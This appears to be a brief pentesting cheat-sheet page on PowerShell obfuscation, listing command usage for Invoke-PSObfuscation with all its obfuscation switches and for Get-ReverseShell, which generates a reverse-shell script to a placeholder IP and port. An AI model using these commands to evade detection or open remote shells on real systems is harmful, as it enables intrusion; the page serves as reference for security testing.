PowerShell Obfuscation
Theory
Practice
Invoke-PsObfuscation
Import-Module ./Invoke-PSObfuscation.ps1# Using all switches
Invoke-PSObfuscation -Path in.ps1 -PipelineVariables -Pipes -Cmdlets -Methods -Integers -Aliases -Comments -NamespaceClasses -Variables -Strings -OutFile out.ps1Get-ReverseShell
Import-Module ./get-reverseshell.ps1# To stdout
Get-ReverseShell -Ip $IP -Port $PORT
# To file
Get-ReverseShell -Ip $IP -Port $PORT -OutFile /path/to/rev.ps1Invoke-Obfuscation
Last updated